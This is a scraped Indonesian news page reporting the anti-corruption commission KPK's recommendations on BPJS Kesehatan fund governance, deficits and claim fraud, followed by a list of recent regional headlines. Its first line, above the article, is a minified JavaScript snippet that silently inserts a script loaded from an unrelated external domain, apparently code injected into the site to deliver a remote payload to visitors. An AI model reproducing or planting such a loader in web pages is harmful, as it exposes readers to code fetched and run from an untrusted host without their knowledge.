(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

KPK Cium Bau Kecurangan dalam Klaim BPJS Kesehatan


KANALKALIMANTAN.COM, JAKARTA – Komisi Pemberantasan Korupsi (KPK) menyampaikan kajian terhadap Tata Kelola Dana Jaminan Sosial (DJS) Kesehatan di Gedung Merah Putih KPK, Kuningan, Jakarta Selatan, Jumat (13/3/2020) kemarin.

Dalam kajian tersebut, KPK memberikan rekomendasi khususnya kepada Kementerian Kesehatan dan Badan Penyelenggara Jaminan Sosial (BPJS) dalam menutupi defisit. Apalagi defisit BPJS tahun 2018, mencapai Rp 12,2 triliun.

Langkah pertama menurut KPK meminta kepada Menkes Terawan Agus Putranto agar mempercepat Pedoman Nasional Praktik Kedokteran atau PNPK esensial.

“Prioritas penyelesaian PNPK untuk penyakit yang berisiko dan biaya tinggi serta prioritas program. Sosialisasi PNPK pada fasilitas kesehatan, tenaga kesehatan, serta institusi pendidikan,” kata Deputi Pencegahan KPK, Pahala Nainggolan di Gedung Merah Putih KPK, Kuningan, Jakarta Selatan.

Kemudian, KPK meminta kepada pemerintah dapat mengkaji opsi pembatasan manfaat untuk pelayanan menghabiskan biaya tinggi. Sekaligus, membatasi anggaran penyakit katastropik, serta melakukan pembayaran sesuai dengan kinerja rumah sakit.

Selanjutnya, Pahala meminta pemerintah untuk mempercepat pelaksanaan pembagian pembiayaan atau cost sharing. Adapun rekomendasi KPK dilakukan dengan menerbitkan petunjuk teknis pelaksanaan urun biaya dengan asuransi swasta.

“Kita ambil contoh di Korea Selatan, sebetulnya klaim 20 persen bisa dicover swasta. Kami duga Rp 600 sampai 900 miliar bisa ditanggung swasta,” ujar Pahala.

Sebenarnya, Kemenkes dapat melakukan bekerja sama dalam pembayaran iuran dengan peserta. Seperti, peserta yang tergolong mampu, maka pemerintah bisa mewajibkan peserta membayar sebanyak 10 persen dari biaya.

“Kita bayangkan kalau co-payment ini dijalankan, maka sebenarnya Rp 2,2 triliun didapat oleh BPJS dalam bentuk kekurangan klaim,” ujar Pahala.

Rekomendasi selanjutnya, KPK meminta Kemenkes dan Pemerintah Daerah mengevaluasi penetapan kelas rumah sakit. Menurut Pahala, perbaikan regulasi terkait dengan klasifikasi dan perizinan Rumah Sakit.

“Sebanyak empat dari empat rumah sakit tidak sesuai kelas dan mengakibatkan pemborosan pembayaran klaim sebesar Rp 33 miliar pertahun,” kata Pahala.

Hal yang turut disoroti, KPK juga meminta pemerintah untuk menindak kecurangan yang terjadi dalam klaim BPJS Kesehatan. Kata Pahala, bila si pelaku baru pertama kali melakukan kecurangan maka pemerintah bisa meminta kembali klaim tersebut.

Namun, kata Pahala, bila fraud atau penipuan sudah terjadi berulang ulang, maka pemerintah bisa melakukan pemutusan kontrak kerja sama.

“Jadi, bila terjadi (fraud) secara terus menerus, baru ditindak secara pidana,” tutup Pahala. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

7 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.